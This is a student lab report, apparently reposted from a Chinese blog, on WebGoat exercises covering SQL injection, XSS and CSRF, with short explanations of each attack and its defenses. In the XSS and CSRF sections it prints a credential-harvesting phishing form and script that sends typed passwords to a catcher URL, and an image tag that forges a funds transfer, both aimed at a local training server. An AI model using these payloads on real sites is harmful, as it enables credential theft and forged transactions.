其他分享
首页 > 其他分享> > 20164313 杜桂鑫 Exp9 Web安全基础

20164313 杜桂鑫 Exp9 Web安全基础

作者:互联网

 

 

 

实验目标:

理解常用网络攻击技术的基本原理

 

实验内容:

Webgoat实践下相关实验

 

基础问题回答:

  1. SQL注入攻击原理,如何防御?

    • SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意SQL命令的目的。

    • 对于SQL注入攻击的防范,我觉得主要还是应该从代码上入手:
      • 采用预编译语句集PreparedStatement,它内置了处理SQL注入的能力,只要使用它的setXXX方法传值即可。它的原理就是SQL注入只对SQL语句的准备(编译)过程有破坏作用,而PreparedStatement已经准备好了,执行阶段只是把输入串作为数据处理,而不再对SQL语句进行解析准备,因此也就避免了SQL注入问题;
      • 使用正则表达式过滤传入的参数,对一些包含sql注入的关键字进行过滤;
      • 采用字符串过滤的方法;
      • JSP中调用该函数检查是否包含非法字符,防止SQL从URL注入。
  2. XSS攻击的原理,如何防御?

    • XSS是代码注入的一种,它允许恶意用户将代码注入到网页上,并能够被浏览器成功的执行,其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。XSS攻击的主要目的是,想办法获取目标攻击网站的cookie,因为有了cookie相当于有了seesion,有了这些信息就可以在任意能接进互联网的pc登陆该网站,并以其他人的身份登陆,做一些破坏。
    • XSS的防御可以从以下两方面来进行:
      • 一种方法是在表单提交或者url参数传递前,对需要的参数进行过滤;
      • 检查用户输入的内容中是否有非法内容,如尖括号、引号等,严格控制输出。

3.CSRF攻击原理,如何防御?

  • 我们知道XSS是跨站脚本攻击,就是在用户的浏览器中执行攻击者的脚本,来获得其cookie等信息。而CSRF是借用用户的身份,向web server发送请求,因为该请求不是用户本意,所以称为“跨站请求伪造”。
  • 对于CSRF的防御也可以从以下几个方面入手:
    • 通过referer、token或者验证码来检测用户提交;
    • 尽量不要在页面的链接中暴露用户隐私信息,对于用户修改删除等操作最好都使用post操作;
    • 避免全站通用的cookie,严格设置cookie的域。

 

实验步骤:

一、WebGoat配置

进入https://github.com/WebGoat/WebGoat/releases?after=8.0.0网站

下载 webgoat-container-7.0.1-war-exec.jar 

输入 java -jar webgoat-container-7.0.1-war-exec.jar 安装jar包

 

 

 

看到上图红框中信息后打开浏览器登陆 http://localhost:8080/WebGoat 网站。

emmm...并无实验内容,查阅资料得知因为kali缺少相应jdk包,安装相应jdk包后

重新登录

登录成功


 

 二、SQL注入攻击(Injection Flaws)

 

 1.命令注入(Command Injection)

 

2.数字型注入(Numeric SQL Injection)

 

 

3.日志欺骗(Log Spoofing)

 

4.SQL 注入(LAB: SQL Injection)

stage 1:String SQL injection

 

5.数据库后门(Database Backdoors)

 

6.盲数字SQL注入(Blind Numeric SQL Injection)

 

 

7.字符串注入(String SQL Injection)

正常情况下只能查询到用户名对应的信用卡号码

 

二、XSS攻击

 1.XSS 钓鱼(Phishing with XSS)

 

   <form>
  <br><br><HR><H3>This feature requires account login:</H3 ><br><br> 
  Enter Username:<br><input type="text" id="user" name="user"><br> 
  Enter Password:<br><input type="password" name = "pass"><br> 
  </form><br><br><HR>
function hack()
  { 
      alert("Had this been a real attack... Your credentials were just stolen." User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value); 
      XSSImage=new Image; 
      XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+ document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";
  }
  </script>

 

2.存储型XSS攻击(Stored XSS Attacks)

 

 

3.反射型XSS攻击(Reflected XSS Attacks)

 

 

三、CSRF攻击

1.跨站请求伪造(Cross Site Request Forgery (CSRF))

<img src="http://localhost:8080/WebGoat/attack?Screen=2078372&menu=900&transferFunds=5000" width="1" height="1" />

2.绕过 CSRF 确认( CSRF Prompt By‐Pass)

 


 实验感想:

本次实验较为简单,只要阅读WebGoat网站中实验教程就可一一做出来,总体没有遇到较大的困难。

 

标签:20164313,Web,Exp9,XSS,攻击,SQL,Injection,输入,页面
来源: https://www.cnblogs.com/duduxin/p/10901612.html